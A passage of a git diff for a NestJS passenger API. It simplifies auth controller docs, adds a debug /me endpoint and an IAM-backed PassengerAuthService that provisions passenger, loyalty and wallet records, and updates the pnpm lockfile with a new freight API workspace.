'Invalid, expired, or already used token' }) - @ApiResponse({ status: 404, description: 'User not found' }) @ApiBody({ type: ResetPasswordDto }) resetPassword(@Body() dto: ResetPasswordDto) { return this.service.resetPassword(dto); } @@ -84,137 +64,34 @@ export class AuthController { @HttpCode(HttpStatus.OK) @UseGuards(JwtGuard) @ApiBearerAuth('JWT-auth') - @ApiOperation({ - summary: 'Logout current user', - description: `Logout the authenticated user and invalidate their session. + @ApiOperation({ summary: 'Logout current user' }) + @ApiResponse({ status: 200, description: 'Logout successful' }) + @ApiResponse({ status: 401, description: 'Unauthorized' }) + logout(@Request() req: any) { + const userId = req.user?.id ?? req.user?.userId; + if (!userId) throw new UnauthorizedException('User not authenticated'); + return this.service.logout(userId); + } -### What happens: -- Invalidates the current session token -- Records logout in audit log -- Frontend should clear stored token and redirect to home - -### Authentication: -- **Required**: JWT Bearer Token -- Token will be invalidated after successful logout` - }) - @ApiResponse({ - status: 200, - description: 'Logout successful', - schema: { - example: { - success: true, - message: 'Logged out successfully' - } - } - }) - @ApiResponse({ status: 401, description: 'Unauthorized - Invalid or missing token' }) - logout(@Request() req: any) { - if (!req.user || !req.user.userId) { - throw new UnauthorizedException('User not authenticated'); - } - return this.service.logout(req.user.userId); + @Get('me') + @UseGuards(JwtGuard) + @ApiBearerAuth('JWT-auth') + @ApiOperation({ summary: '[DEV] Inspect raw JWT payload — shows full req.user from JwtGuard' }) + @ApiResponse({ status: 200, description: 'Returns the full req.user object set by JwtGuard' }) + @ApiResponse({ status: 401, description: 'Unauthorized' }) + getMe(@Request() req: any) { + return { user: req.user }; } @Get('profile') @UseGuards(JwtGuard) @ApiBearerAuth('JWT-auth') - @ApiOperation({ - summary: 'Get current user profile', - description: `**Returns complete user profile with all connected data** - ---- - -### Response Includes - -#### User Information -- Basic details (id, email, phone, fullName, role) -- Nationality and document information -- Fayda verification status -- Account timestamps (created, last login) - -#### Passenger Data (if role=PASSENGER) -- Passenger ID and preferences -- **Loyalty Account**: Tier, points balance, lifetime points -- **Wallet Account**: Balance (minor units), currency - -#### User Preferences -- Language, notification settings, etc. - ---- - -### Use Cases - -1. **App Initialization**: Fetch on app load to get user context - -2. **Profile Pre-fill**: Use data to auto-fill booking forms - -3. **Verification Check**: Check \`faydaVerified\` before registration - -4. **Loyalty Display**: Show tier and points in UI - -5. **Wallet Balance**: Display available balance - ---- - -### Authentication -- **Required**: JWT Bearer Token -- Token must be valid and not expired -- Returns profile for authenticated user only`, - }) - @ApiResponse({ - status: 200, - description: 'User profile retrieved successfully', - schema: { - example: { - id: 'user-uuid-123', - email: 'kelemu@email.com', - phone: '+251911234567', - fullName: 'Kelemu Abebe', - role: 'PASSENGER', - nationality: 'Ethiopian', - nationalityCode: 'ET', - nationalId: null, - passportNumber: null, - faydaVerified: true, - faydaVerifiedAt: '2024-01-15T10:30:00.000Z', - lastLoginAt: '2024-01-20T14:22:00.000Z', - createdAt: '2023-12-01T08:00:00.000Z', - passenger: { - id: 'passenger-uuid-456', - preferredLanguage: 'am', - loyalty: { - tier: 'SILVER', - pointsBalance: 1500, - lifetimePoints: 3000 - }, - wallet: { - balanceMinor: 50000, - currency: 'ETB' - } - }, - preferences: { - emailNotifications: true, - smsNotifications: true, - language: 'am' - } - } - } - }) - @ApiResponse({ - status: 401, - description: 'Unauthorized - Invalid or missing JWT token', - schema: { - example: { - statusCode: 401, - message: 'Unauthorized' - } - } - }) - getProfile(@Request() req: any) { - console.log('Profile request - User from JWT:', req.user); - if (!req.user || !req.user.userId) { - throw new UnauthorizedException('User not authenticated'); - } - return this.service.getProfile(req.user.userId); + @ApiOperation({ summary: 'Get current user profile' }) + @ApiResponse({ status: 200, description: 'User profile retrieved successfully' }) + @ApiResponse({ status: 401, description: 'Unauthorized' }) + getProfile(@Request() req: any) { + const userId = req.user?.id ?? req.user?.userId; + if (!userId) throw new UnauthorizedException('User not authenticated'); + return this.service.getProfile(userId); } } diff --git a/apps/edr-passenger-api/src/modules/auth/auth.dto.ts b/apps/edr-passenger-api/src/modules/auth/auth.dto.ts index d44159c67..da0a0ae5a 100644 --- a/apps/edr-passenger-api/src/modules/auth/auth.dto.ts +++ b/apps/edr-passenger-api/src/modules/auth/auth.dto.ts @@ -27,20 +27,29 @@ export class RegisterDto { @IsString() phone: string; - @ApiProperty({ - description: 'Password (minimum 8 characters)', + @ApiProperty({ + description: 'Password (minimum 8 characters)', example: 'SecurePass123', minLength: 8, format: 'password' - }) - @IsString() - @MinLength(8) + }) + @IsString() + @MinLength(8) password: string; - @ApiPropertyOptional({ - description: 'Nationality of the passenger', - example: 'Ethiopian' - }) + @ApiPropertyOptional({ + description: 'Confirm password (must match password)', + example: 'SecurePass123', + format: 'password' + }) + @IsOptional() + @IsString() + confirmPassword?: string; + + @ApiPropertyOptional({ + description: 'Nationality of the passenger', + example: 'Ethiopian' + }) @IsOptional() @IsString() nationality?: string; diff --git a/apps/edr-passenger-api/src/modules/auth/auth.module.ts b/apps/edr-passenger-api/src/modules/auth/auth.module.ts index 547937d74..cf6cc3204 100644 --- a/apps/edr-passenger-api/src/modules/auth/auth.module.ts +++ b/apps/edr-passenger-api/src/modules/auth/auth.module.ts @@ -4,6 +4,7 @@ import { PassportModule } from '@nestjs/passport'; import { ConfigService } from '@nestjs/config'; import { AuthController } from './auth.controller'; import { AuthService } from './auth.service'; +import { PassengerAuthService } from './passenger-auth.service'; import { JwtStrategy } from '../../common/jwt.strategy'; @Module({ @@ -18,7 +19,7 @@ import { JwtStrategy } from '../../common/jwt.strategy'; }), ], controllers: [AuthController], - providers: [AuthService, JwtStrategy], + providers: [AuthService, PassengerAuthService, JwtStrategy], exports: [JwtModule], }) export class AuthModule {} diff --git a/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts b/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts new file mode 100644 index 000000000..cbff047b2 --- /dev/null +++ b/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts @@ -0,0 +1,217 @@ +import { + Injectable, + ConflictException, + InternalServerErrorException, + UnauthorizedException, +} from '@nestjs/common'; +import { ModuleRef, ContextIdFactory } from '@nestjs/core'; +import { InjectDataSource } from '@nestjs/typeorm'; +import { DataSource } from 'typeorm'; +import { EventEmitter2 } from '@nestjs/event-emitter'; +import { AuthService as IamAuthService } from '@tria-plc/iamapi-common/module/auth/services/auth.service'; +import { EUserType } from '@tria-plc/api-common/utils/enums/user.enum'; +import { PrismaService } from '../../common/prisma.service'; +import { RegisterDto, LoginDto } from './auth.dto'; + +type IamUserRow = { id: string; name: { en: string; am: string } | null; phone_number: string | null }; + +@Injectable() +export class PassengerAuthService { + constructor( + private readonly prisma: PrismaService, + @InjectDataSource() private readonly dataSource: DataSource, + private readonly moduleRef: ModuleRef, + private readonly eventEmitter: EventEmitter2, + ) {} + + private async resolveIamAuthService(req: any): Promise { + const contextId = ContextIdFactory.getByRequest(req); + this.moduleRef.registerRequestByContextId(req, contextId); + return this.moduleRef.resolve(IamAuthService, contextId, { strict: false }); + } + + async register(dto: RegisterDto, req: any) { + const existing = await this.prisma.user.findFirst({ + where: { OR: [{ email: dto.email }, { phone: dto.phone }] }, + }); + if (existing) throw new ConflictException('Email or phone already registered'); + + const iamAuthService = await this.resolveIamAuthService(req); + + const { token, refreshToken } = await iamAuthService.signupWithPassword({ + email: dto.email, + username: dto.email, + phoneNumber: dto.phone, + userType: EUserType.INDIVIDUAL, + name: { en: dto.fullName, am: dto.fullName }, + password: dto.password, + confirmPassword: dto.confirmPassword ?? dto.password, + }); + + const iamRows = await this.dataSource.query( + `SELECT id, name, phone_number FROM iam.users WHERE email = $1 LIMIT 1`, + [dto.email], + ); + if (!iamRows.length) { + await this.compensateIamSignup(dto.email); + throw new InternalServerErrorException('Account creation failed. Please try again.'); + } + const iamUserId = iamRows[0].id; + + let passengerId: string; + try { + const result = await this.provisionPassengerSatellite({ + iamUserId, + email: dto.email, + fullName: dto.fullName, + phone: dto.phone, + nationality: dto.nationality, + nationalId: dto.nationalId, + passportNumber: dto.passportNumber, + auditAction: 'USER_REGISTERED', + }); + passengerId = result.passengerId; + } catch { + await this.compensateIamSignup(dto.email); + throw new InternalServerErrorException('Account creation failed. Please try again.'); + } + + return { + token, + refreshToken, + user: { id: iamUserId, iamUserId, email: dto.email, fullName: dto.fullName, passengerId }, + }; + } + + async login(dto: LoginDto, req: any) { + const iamAuthService = await this.resolveIamAuthService(req); + + let iamResult: { token: string; refreshToken: string } | { mfaRequired: boolean }; + try { + iamResult = await iamAuthService.login({ email: dto.email, password: dto.password }); + } catch { + this.eventEmitter.emit('auth.login.failed', { email: dto.email }); + throw new UnauthorizedException('Invalid credentials'); + } + + if ('mfaRequired' in iamResult && iamResult.mfaRequired) { + return iamResult; + } + + const { token, refreshToken } = iamResult as { token: string; refreshToken: string }; + + const iamRows = await this.dataSource.query( + `SELECT id, name, phone_number FROM iam.users WHERE email = $1 LIMIT 1`, + [dto.email], + ); + const iamUser = iamRows[0]; + if (!iamUser) { + throw new InternalServerErrorException('IAM user not found after successful authentication'); + } + + // Find existing Passenger record or lazy-provision one on first login + let passenger = await this.prisma.passenger.findUnique({ + where: { iamUserId: iamUser.id }, + select: { id: true }, + }); + + if (!passenger) { + const fullName = iamUser.name?.en ?? iamUser.name?.am ?? dto.email; + const result = await this.provisionPassengerSatellite({ + iamUserId: iamUser.id, + email: dto.email, + fullName, + phone: iamUser.phone_number ?? '', + auditAction: 'USER_AUTO_PROVISIONED', + }); + passenger = { id: result.passengerId }; + } + + return { + token, + refreshToken, + user: { id: iamUser.id, iamUserId: iamUser.id, email: dto.email, passengerId: passenger.id }, + }; + } + + private async provisionPassengerSatellite(data: { + iamUserId: string; + email: string; + fullName: string; + phone: string; + nationality?: string; + nationalId?: string; + passportNumber?: string; + auditAction: string; + }): Promise<{ passengerId: string }> { + return this.prisma.$transaction(async (tx) => { + // Check if a local User already exists (pre-IAM registration) + const existingUser = await tx.user.findFirst({ + where: { OR: [{ email: data.email }, { phone: data.phone }] }, + select: { id: true }, + }); + + if (existingUser) { + // User already exists — find their Passenger and stamp iamUserId + const existingPassenger = await tx.passenger.findFirst({ + where: { userId: existingUser.id }, + select: { id: true }, + }); + + if (existingPassenger) { + await tx.passenger.update({ + where: { id: existingPassenger.id }, + data: { iamUserId: data.iamUserId }, + }); + return { passengerId: existingPassenger.id }; + } + + // User exists but no Passenger yet — create just the Passenger + sub-records + const passenger = await tx.passenger.create({ + data: { userId: existingUser.id, iamUserId: data.iamUserId }, + }); + await tx.loyaltyAccount.create({ data: { passengerId: passenger.id } }); + await tx.walletAccount.create({ data: { passengerId: passenger.id } }); + return { passengerId: passenger.id }; + } + + // Brand new user — create the full satellite set + const user = await tx.user.create({ + data: { + email: data.email, + phone: data.phone, + fullName: data.fullName, + passwordHash: 'IAM_MANAGED', + nationality: data.nationality, + nationalId: data.nationalId, + passportNumber: data.passportNumber, + }, + }); + const passenger = await tx.passenger.create({ + data: { userId: user.id, iamUserId: data.iamUserId }, + }); + await tx.loyaltyAccount.create({ data: { passengerId: passenger.id } }); + await tx.walletAccount.create({ data: { passengerId: passenger.id } }); + await tx.userPreferences.create({ data: { userId: user.id } }); + await tx.auditLog.create({ + data: { + userId: user.id, + action: data.auditAction, + entityType: 'User', + entityId: user.id, + newData: { email: data.email, iamUserId: data.iamUserId }, + }, + }); + return { passengerId: passenger.id }; + }); + } + + private async compensateIamSignup(email: string): Promise { + try { + await this.dataSource.query(`DELETE FROM iam.sessions WHERE email = $1`, [email]); + await this.dataSource.query(`DELETE FROM iam.users WHERE email = $1`, [email]); + } catch (err) { + console.error('[PassengerAuthService] IAM compensating cleanup failed for', email, (err as Error).message); + } + } +} diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index a99424102..d46bfc2b4 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -10,7 +10,7 @@ importers: devDependencies: '@commitlint/cli': specifier: ^19.5.0 - version: 19.8.1(@types/node@24.12.4)(typescript@5.9.3) + version: 19.8.1(@types/node@25.9.1)(typescript@5.9.3) '@commitlint/config-conventional': specifier: ^19.5.0 version: 19.8.1 @@ -30,6 +30,109 @@ importers: specifier: ^5.5.4 version: 5.9.3 + apps/edr-freight-api: + dependencies: + '@edr/api-common': + specifier: workspace:* + version: link:../../packages/api-common + '@edr/types': + specifier: workspace:* + version: link:../../packages/types + '@nestjs/common': + specifier: ^11.0.0 + version: 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/config': + specifier: ^4.0.0 + version: 4.0.4(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(rxjs@7.8.2) + '@nestjs/core': + specifier: ^11.0.0 + version: 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/microservices': + specifier: ^11.0.0 + version: 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(amqp-connection-manager@5.0.0(amqplib@2.0.1))(amqplib@2.0.1)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/platform-express': + specifier: ^11.0.0 + version: 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24) + '@nestjs/swagger': + specifier: ^11.4.2 + version: 11.4.4(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2) + '@nestjs/typeorm': + specifier: ^11.0.1 + version: 11.0.1(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2)(typeorm@0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3))) + '@tria-plc/api-common': + specifier: ^0.1.0 + version: 0.1.4(117ec8ab2e46133742e6b9e4ae304059) + '@tria-plc/iamapi-common': + specifier: ^0.1.0 + version: 0.1.6(d02ea0b424ed983863ad8209ac09ab52) + class-transformer: + specifier: ^0.5.1 + version: 0.5.1 + class-validator: + specifier: ^0.14.1 + version: 0.14.4 + pg: + specifier: ^8.13.0 + version: 8.21.0 + reflect-metadata: + specifier: ^0.2.2 + version: 0.2.2 + rxjs: + specifier: ^7.8.1 + version: 7.8.2 + typeorm: + specifier: ^0.3.20 + version: 0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3)) + devDependencies: + '@edr/eslint-config': + specifier: workspace:* + version: link:../../packages/config/eslint-config + '@edr/tsconfig': + specifier: workspace:* + version: link:../../packages/config/tsconfig + '@nestjs/cli': + specifier: ^11.0.0 + version: 11.0.21(@types/node@20.19.41)(prettier@3.8.3) + '@nestjs/schematics': + specifier: ^11.0.0 + version: 11.1.0(chokidar@4.0.3)(prettier@3.8.3)(typescript@5.9.3) + '@nestjs/testing': + specifier: ^11.0.0 + version: 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.24) + '@types/express': + specifier: ^5.0.0 + version: 5.0.6 + '@types/jest': + specifier: ^29.5.13 + version: 29.5.14 + '@types/node': + specifier: ^20.14.0 + version: 20.19.41 + '@types/supertest': + specifier: ^6.0.2 + version: 6.0.3 + jest: + specifier: ^29.7.0 + version: 29.7.0(@types/node@20.19.41)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3)) + supertest: + specifier: ^7.0.0 + version: 7.2.2 + ts-jest: + specifier: ^29.2.5 + version: 29.4.11(@babel/core@7.29.0)(@jest/transform@29.7.0)(@jest/types@29.6.3)(babel-jest@29.7.0(@babel/core@7.29.0))(jest-util@29.7.0)(jest@29.7.0(@types/node@20.19.41)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3)))(typescript@5.9.3) + ts-loader: + specifier: ^9.5.1 + version: 9.6.0(typescript@5.9.3)(webpack@5.106.0) + ts-node: + specifier: ^10.9.2 + version: 10.9.2(@types/node@20.19.41)(typescript@5.9.3) + tsconfig-paths: + specifier: ^4.2.0 + version: 4.2.0 + typescript: + specifier: ^5.5.4 + version: 5.9.3 + apps/edr-passenger-api: dependencies: '@nestjs/axios': @@ -65,15 +168,18 @@ importers: '@nestjs/typeorm': specifier: ^11.0.1 version: 11.0.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2)(typeorm@0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3))) + '@prisma/client': + specifier: ^6.19.3 + version: 6.19.3(prisma@6.19.3(typescript@5.9.3))(typescript@5.9.3) '@sendgrid/mail': specifier: ^8.1.0 version: 8.1.6 '@tria-plc/api-common': specifier: 1.2.3 - version: 1.2.3(82de1fa22df14d2f8c974e73e7d5a000) + version: 1.2.3(38550619d911b1103993bd09ae683e00) '@tria-plc/iamapi-common': - specifier: ^0.4.1 - version: 0.4.1(c31a38bece4d321b4fae6a2e7e5e96b1) + specifier: ^0.4.2 + version: 0.4.2(c31a38bece4d321b4fae6a2e7e5e96b1) amqp-connection-manager: specifier: ^5.0.0 version: 5.0.0(amqplib@2.0.1) @@ -141,9 +247,6 @@ importers: '@nestjs/testing': specifier: ^11.1.19 version: 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.23) - '@prisma/client': - specifier: ^6.19.3 - version: 6.19.3(prisma@6.19.3(typescript@5.9.3))(typescript@5.9.3) '@types/bcrypt': specifier: ^5.0.2 version: 5.0.2 @@ -341,7 +444,7 @@ importers: version: 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) '@nestjs/core': specifier: ^11.0.0 - version: 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) + version: 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2) '@types/node': specifier: ^20.14.0 version: 20.19.41 @@ -1014,6 +1117,9 @@ packages: '@microsoft/tsdoc@0.15.1': resolution: {integrity: sha512-4aErSrCR/On/e5G2hDP0wjooqDdauzEbIq8hIkIe5pXV0rtWJZvdCEKL0ykZxex+IxIwBp0eGeV48hQN07dXtw==} + '@microsoft/tsdoc@0.16.0': + resolution: {integrity: sha512-xgAyonlVVS+q7Vc7qLW0UrJU7rSFcETRWsqdXZtjzRU8dF+6CkozTK4V4y1LwOX7j8r/vHphjDeMeGI4tNGeGA==} + '@napi-rs/wasm-runtime@1.1.4': resolution: {integrity: sha512-3NQNNgA1YSlJb/kMH1ildASP9HW7/7kYnRI2szWJaofaS1hWmbGI4H+d3+22aGzXXN9IJ+n+GiFVcGipJP18ow==} peerDependencies: @@ -1053,6 +1159,19 @@ packages: class-validator: optional: true + '@nestjs/common@11.1.24': + resolution: {integrity: sha512-9zHxaDDM+oXW9As6UsP5yYB+UqczBmpeSCIFWdPEtEukMnZhxODG1BBjaUcdBB8Sc1uzojSJSJlp3yFp853t1g==} + peerDependencies: + class-transformer: '>=0.4.1' + class-validator: '>=0.13.2' + reflect-metadata: ^0.1.12 || ^0.2.0 + rxjs: ^7.1.0 + peerDependenciesMeta: + class-transformer: + optional: true + class-validator: + optional: true + '@nestjs/config@4.0.4': resolution: {integrity: sha512-CJPjNitr0bAufSEnRe2N+JbnVmMmDoo6hvKCPzXgZoGwJSmp/dZPk9f/RMbuD/+Q1ZJPjwsRpq0vxna++Knwow==} peerDependencies: @@ -1077,6 +1196,24 @@ packages: '@nestjs/websockets': optional: true + '@nestjs/core@11.1.24': + resolution: {integrity: sha512-K4bzT+lEdd0Hhcsw3jtk56QAW6s6skK3ViN7hIROSN0kUf4ROwWEAKopJID6yhPQxB45kDtP2wEcjzE8171J3g==} + engines: {node: '>= 20'} + peerDependencies: + '@nestjs/common': ^11.0.0 + '@nestjs/microservices': ^11.0.0 + '@nestjs/platform-express': ^11.0.0 + '@nestjs/websockets': ^11.0.0 + reflect-metadata: ^0.1.12 || ^0.2.0 + rxjs: ^7.1.0 + peerDependenciesMeta: + '@nestjs/microservices': + optional: true + '@nestjs/platform-express': + optional: true + '@nestjs/websockets': + optional: true + '@nestjs/event-emitter@2.1.1': resolution: {integrity: sha512-6L6fBOZTyfFlL7Ih/JDdqlCzZeCW0RjCX28wnzGyg/ncv5F/EOeT1dfopQr1loBRQ3LTgu8OWM7n4zLN4xigsg==} peerDependencies: @@ -1101,6 +1238,19 @@ packages: class-validator: optional: true + '@nestjs/mapped-types@2.1.1': + resolution: {integrity: sha512-SCCoMEJ6jdeI5h/N+KCVF1+pmg/hmEkNA5nHTS8Gvww7T/LCl4o1gFLinw2iQ60w7slFkszHcGLKGdazVI4F8A==} + peerDependencies: + '@nestjs/common': ^10.0.0 || ^11.0.0 + class-transformer: ^0.4.0 || ^0.5.0 + class-validator: ^0.13.0 || ^0.14.0 || ^0.15.0 + reflect-metadata: ^0.1.12 || ^0.2.0 + peerDependenciesMeta: + class-transformer: + optional: true + class-validator: + optional: true + '@nestjs/microservices@11.1.24': resolution: {integrity: sha512-ALu/7qk3obFlw7KVSPRz+BjuyWPLmv9isknhLG8UYXkjx3aPhJGp52i3qiTqucM1jKtoBgPa3+SK4e9fVvglGA==} peerDependencies: @@ -1149,6 +1299,12 @@ packages: '@nestjs/common': ^11.0.0 '@nestjs/core': ^11.0.0 + '@nestjs/platform-express@11.1.24': + resolution: {integrity: sha512-CeMKbRBm05aOBiWhIHWO2xDeHbxynBF9ySQv3gRjObz2N5+uJnYriAYkHvVqvC4JIydmMPmT5VdICFNlNz3qyA==} + peerDependencies: + '@nestjs/common': ^11.0.0 + '@nestjs/core': ^11.0.0 + '@nestjs/schedule@6.1.3': resolution: {integrity: sha512-RflMFOpR16Dwd1jAUbeB4mfGTCh65fvEdL4mSjQPJChpkRGRjIXjb+6YQcK2faQrVT60c9DmLmoVR7/ONCtuYQ==} peerDependencies: @@ -1164,6 +1320,23 @@ packages: prettier: optional: true + '@nestjs/swagger@11.4.4': + resolution: {integrity: sha512-VaIo1ruV2G7b+f2zPzkBSUNy9a/WQ9sg8TLKhWlrTfg4O6U10M/PA7Xi6XMXadOVhwOqoesijba8jH3i/3adrA==} + peerDependencies: + '@fastify/static': ^8.0.0 || ^9.0.0 + '@nestjs/common': ^11.0.1 + '@nestjs/core': ^11.0.1 + class-transformer: '*' + class-validator: '*' + reflect-metadata: ^0.1.12 || ^0.2.0 + peerDependenciesMeta: + '@fastify/static': + optional: true + class-transformer: + optional: true + class-validator: + optional: true + '@nestjs/swagger@7.4.2': resolution: {integrity: sha512-Mu6TEn1M/owIvAx2B4DUQObQXqo2028R2s9rSZ/hJEgBK95+doTwS0DjmVA2wTeZTyVtXOoN7CsoM5pONBzvKQ==} peerDependencies: @@ -1194,6 +1367,19 @@ packages: '@nestjs/platform-express': optional: true + '@nestjs/testing@11.1.24': + resolution: {integrity: sha512-+4M4UAnhtprBQN0J2uI6IP0wDqhy9aH8XCMu5SO8oCi0oB04YXA4a4PAEkxmsPn7gHW4dj1u4GFteNQOWgvTJw==} + peerDependencies: + '@nestjs/common': ^11.0.0 + '@nestjs/core': ^11.0.0 + '@nestjs/microservices': ^11.0.0 + '@nestjs/platform-express': ^11.0.0 + peerDependenciesMeta: + '@nestjs/microservices': + optional: true + '@nestjs/platform-express': + optional: true + '@nestjs/throttler@6.5.0': resolution: {integrity: sha512-9j0ZRfH0QE1qyrj9JjIRDz5gQLPqq9yVC2nHsrosDVAfI5HHw08/aUAWx9DZLSdQf4HDkmhTTEGLrRFHENvchQ==} peerDependencies: @@ -1397,6 +1583,22 @@ packages: '@tokenizer/token@0.3.0': resolution: {integrity: sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A==} + '@tria-plc/api-common@0.1.4': + resolution: {integrity: sha512-lm9esp5PDxUyggqxYXbx2CQhZKwtcAaAcGFuuUURw3u5DlzGUNwMOFkQkDLM/fbgN+33+s1RKC7UynnG9NZFww==, tarball: https://npm.pkg.github.com/download/@tria-plc/api-common/0.1.4/de160e4bb61a882efd9c877b4614028f1ffd7cb8} + peerDependencies: + '@nestjs/common': ^11.0.0 + '@nestjs/core': ^11.0.0 + '@nestjs/jwt': ^11.0.0 + '@nestjs/microservices': ^11.0.0 + '@nestjs/passport': ^11.0.0 + '@nestjs/swagger': ^11.0.0 + '@nestjs/throttler': ^6.0.0 + '@nestjs/typeorm': ^11.0.0 + '@tria-plc/iamapi-common': '*' + reflect-metadata: ^0.2.0 + rxjs: ^7.8.0 + typeorm: ^0.3.0 + '@tria-plc/api-common@1.2.3': resolution: {integrity: sha512-J30YmV/IAZjoQAB8o0yvisUwhclOWDdkqmLfVpvRc142Cv4nFnpynms+rO6IXSWwqI8bXRJg4qa+XauUrwzu5A==, tarball: https://npm.pkg.github.com/download/@tria-plc/api-common/1.2.3/7910a45187963d4a40ac0f7a6ab802fc974b708e} peerDependencies: @@ -1413,8 +1615,29 @@ packages: rxjs: ^7.8.0 typeorm: ^0.3.0 - '@tria-plc/iamapi-common@0.4.1': - resolution: {integrity: sha512-DnO9bCBGpo6wRt39zXzWuJG99qZ9yCy1x1DQOAs48G5Z9wwv/EYILXpb5dkoq/oV+c4If0UYSlKMnWQCv9RhVA==, tarball: https://npm.pkg.github.com/download/@tria-plc/iamapi-common/0.4.1/78c88f7322f9cb84a38941d94d1494b5ce6e2ddf} + '@tria-plc/iamapi-common@0.1.6': + resolution: {integrity: sha512-qaCLZ1TgbcQ5XciRuA/aZjRCM/GmGYgcmsyDDIlhiMNw3FL3DCiR/QiFuQpERvV4FqgQNBJg66+S/jXO3I2jbw==, tarball: https://npm.pkg.github.com/download/@tria-plc/iamapi-common/0.1.6/e2a8f3357b650bb9477facae4aaa7044382acebf} + engines: {node: '>=20'} + peerDependencies: + '@nestjs/axios': ^4.0.0 + '@nestjs/common': ^11.0.0 + '@nestjs/core': ^11.0.0 + '@nestjs/jwt': ^11.0.0 + '@nestjs/microservices': ^11.0.0 + '@nestjs/passport': ^11.0.0 + '@nestjs/swagger': ^11.0.0 + '@nestjs/throttler': ^6.0.0 + '@nestjs/typeorm': ^11.0.0 + '@tria-plc/api-common': ^0.1.0 + axios: ^1.9.0 + class-transformer: ^0.5.1 + class-validator: ^0.14.1 + reflect-metadata: ^0.2.0 + rxjs: ^7.8.0 + typeorm: ^0.3.0 + + '@tria-plc/iamapi-common@0.4.2': + resolution: {integrity: sha512-Y82qhg15eQiz+HSyGaY26Mg7s6kB87Q4FVNTrfRVQCW9KK9+2feMxWE/5xtm1OhAYkktHA6MXe0lnd48dgByvQ==, tarball: https://npm.pkg.github.com/download/@tria-plc/iamapi-common/0.4.2/704812e7397917c78e67118d41db2235d7250095} engines: {node: '>=20'} peerDependencies: '@nestjs/axios': ^4.0.0 @@ -1593,8 +1816,8 @@ packages: '@types/node@20.19.41': resolution: {integrity: sha512-ECymXOukMnOoVkC2bb1Vc/w/836DXncOg5m8Xj1RH7xSHZJWNYY6Zh7EH477vcnD5egKNNfy2RpNOmuChhFPgQ==} - '@types/node@24.12.4': - resolution: {integrity: sha512-GUUEShf+PBCGW2KaXwcIt3Yk+e3pkKwWKb9GSyM9WQVE+ep2jzmHdGsHzu4wgcZy5fN9FBdVzjpBQsYlpfpgLA==} + '@types/node@25.9.1': + resolution: {integrity: sha512-xfrlY7UD5rMJk3ZVJP8BNzS28J36YJg+xp+LPXV1TdWxr8uMH5A860QNxYDGQe/ylDSgjxE52Q9VnO7p75tJxg==} '@types/passport-jwt@4.0.1': resolution: {integrity: sha512-Y0Ykz6nWP4jpxgEUYq8NoVZeCQPo1ZndJLfapI249g1jHChvRfZRO/LS3tqu26YgAS/laI1qx98sYGz0IalRXQ==} @@ -2285,6 +2508,9 @@ packages: axios@1.16.1: resolution: {integrity: sha512-caYkukvroVPO8KrzuJEb50Hm07KwfBZPEC3VeFHTsqWHvKTsy54hjJz9BS/cdaypROE2rH6xvm9mHX4fgWkr3A==} + axios@1.17.0: + resolution: {integrity: sha512-J8SwNxprqqpbfenehxWYXE7CW+wM1BB4w3+N+g+/Wx40xM4rsLrfPmHHxSWIxJLYDgSY/HqlFPIYb2/S3rxafw==} + axobject-query@4.1.0: resolution: {integrity: 